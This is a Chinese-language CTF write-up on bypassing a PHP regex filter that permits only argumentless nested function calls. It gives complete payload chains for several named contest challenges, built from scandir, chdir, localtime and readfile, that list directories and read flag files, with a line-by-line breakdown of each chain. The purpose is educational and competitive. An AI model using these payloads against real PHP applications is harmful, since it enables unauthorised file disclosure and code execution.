CTF中PHP无参数RCE小结
核心代码如下
1 | if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) |
一般会在此基础上过滤一些函数以增加难度
正则表达式的用于匹配样式如下的字符串
a();
a(bb());
a(bb(ccc()));
a()bb();
a(bb())ccc(dddd());
…
BTW: 可能在正则递归匹配时会Ban掉’_’
常用函数
- get_defined_functions() : 显示所有函数
- localeconv() : 返回一个包含本地数字及货币格式信息的数组,第一个元素为’.’
- scandir() : 返回指定目录中的文件和目录的数组
- pos() : 输出当前内部指针所指向的元素
- current() : 返回数组当前单元,同pos()
- end() : 将内部指针指向数组中的最后一个元素,并输出。
- next() : 函数将内部指针指向数组中的下一个元素,并输出
- file() : 读取一个文件,返回的数组中元素对应每一行的内容
- readfile() : 读取一个文件
- sqrt() : 返回一个数字的平方根
- tan() : 返回一个数字的正切弧度值
- atan() : 返回一个数字的反正切弧度值
- cosh() : 返回一个数字的双曲余弦
- sinh() : 返回一个数字的双曲正弦
- ceil() : 返回向上取整
- floor() : 返回向下取整
- round() : 返回四舍五入取整
- chr() : 返回指定ASCII值的字符
- ord() : 返回字符串中第一个字符 ASCII值
- chdir() : 改变当前的目录
- localtime(timestamp,is_assoc) : 取得本地时间,数组的第一个元素为秒
- time() : 对应localtime()的timestamp
- phpversion() : 返回php版本号
- crypt() : 使用盐值生成Hash
- hebrevc() : 反向显示希伯来字符
- strrev() : 反转字符串
- file() : 把整个文件读入一个数组中
- array_reverse() : 返回翻转顺序的数组
- array_flip() : 反转/交换数组中的键名和对应关联的键值
- array_rand() : 返回一个包含随机键名的数组
生成 . 的四个思路
- strrev(crypt()) 生成Hash,并将最后一位的.逆序到第一位,可以使用serialize(array())或phpversion()作为内嵌函数
- localeconv() 选取第一个元素
- 数学函数套娃Fuzz
- localtime(time()) 第46秒
[GXYCTF2019]禁止套娃
1 |
|
且当前目录的文件如下
array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(4) ".git" [3]=> string(8) "flag.php" [4]=> string(9) "index.php" }
不能控制数组指针直接指向flag.php,只能进行随机读取
Payload0
1 | var_dump(readfile(array_rand(array_flip(scandir(chr(ord(strrev(crypt(phpversion()))))))))); |
分析
phpversion() #用于输出php当前版本信息
crypt(phpversion()) #加密信息,最后一位有可能为.
strrev(crypt(phpversion())) #字符串逆序,将.移动至第一位
ord(strrev(crypt(phpversion()))) #取第一位的ASCII码值
chr(ord(strrev(crypt(phpversion())))) #转为字符,配合上一步可以节选出第一位的.
scandir(chr(ord(strrev(crypt(phpversion()))))) #扫描当前目录
array_flip(scandir(chr(ord(strrev(crypt(phpversion())))))) #将扫描结果数组交换键名与键值
array_rand(array_flip(scandir(chr(ord(strrev(crypt(phpversion()))))))) #随机选取数组键名,即随机选取文件名
readfile(array_rand(array_flip(scandir(chr(ord(strrev(crypt(phpversion())))))))) #读取文件
var_dump(readfile(array_rand(array_flip(scandir(chr(ord(strrev(crypt(phpversion()))))))))) #输出读取文件结果
Payload1
1 | var_dump(readfile(array_rand(array_flip(scandir(pos(localeconv())))))); |
分析
localeconv() #生成数组,第一个元素为.
pos(localeconv()) #取第一个元素,即.
scandir(pos(localeconv())) #扫描当前目录
array_flip(scandir(pos(localeconv()))) #将扫描结果数组交换键名与键值
array_rand(array_flip(scandir(pos(localeconv())))) #随机选取数组键名,即随机选取文件名
readfile(array_rand(array_flip(scandir(pos(localeconv()))))) #读取文件
var_dump(readfile(array_rand(array_flip(scandir(pos(localeconv())))))) #输出读取文件结果
Payload2
1 | var_dump(readfile(array_rand(array_flip(scandir(chr(ceil(sinh(cosh(tan(ceil(atan(phpversion())))))))))))); |
分析
phpversion() #输出php当前版本
ceil(cosh(cosh(tan(ceil(atan(phpversion())))))) #使用数学函数计算得出46
chr(ceil(sinh(cosh(tan(ceil(atan(phpversion()))))))) #将46转为.
scandir(chr(ceil(sinh(cosh(tan(ceil(atan(phpversion())))))))) #扫描当前目录
array_rand(array_flip(scandir(chr(ceil(sinh(cosh(tan(ceil(atan(phpversion())))))))))) #随机选取数组键名,即随机选取文件名
readfile(array_rand(array_flip(scandir(chr(ceil(sinh(cosh(tan(ceil(atan(phpversion()))))))))))) #读取文件
var_dump(readfile(array_rand(array_flip(scandir(chr(ceil(sinh(cosh(tan(ceil(atan(phpversion())))))))))))) #输出读取文件结果
Fuzz脚本
1 |
|
php中并没有类似于python中的pass(),所以有点可惜
这里udf的pass()是为了更便利地进行fuzz
使用数学函数最少需要六次迭代,使用pass()能够在更多次迭代中找到迭代次数更少的解法
[ByteCTF2019]Boring_Code
节选部分代码
1 |
|
flag为上层目录的最后一个文件
Payload0
1 | echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv())))))))))))); |
分析
localeconv() #生成数组,第一个元素为.
pos(localeconv()) #取第一个元素,即.
scandir(pos(localeconv())) #扫描当前目录
next(scandir(pos(localeconv()))) #选取元素..
chdir(next(scandir(pos(localeconv())))) #进入上级目录
time(chdir(next(scandir(pos(localeconv()))))) #生成时间戳,php7.4版本中无法进行内嵌函数
localtime(time(chdir(next(scandir(pos(localeconv())))))) #将时间戳转为数组形式的本地时间
pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))) #选取第一个元素,即秒
chr(pos(localtime(time(chdir(next(scandir(pos(localeconv())))))))) #转为ASCII字符,46秒时执行可以得到.
scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))) #扫描当前目录
end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv())))))))))) #选取最后一个文件,即flag文件
readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv())))))))))) #读取flag文件
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv())))))))))))) #输出读取flag文件的内容
Payload1
1 | if(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array()))))))))echo(readfile(end(scandir(strrev(crypt(serialize(array())))))))); |
分析
if语句用于返回上一级,且chdir的返回结果为1,控制if语句执行之后的用于读取flag的嵌套函数
[第五届上海市大学生网络安全大赛]Decade
1 |
|
这里简单写一下读取文件的思路
由于readfile被Ban,所以需要使用file()来进行文件读取
至于flag的输出,可以使用serialize()进行序列化,join()来讲数组转为字符串,或者用next()指向flag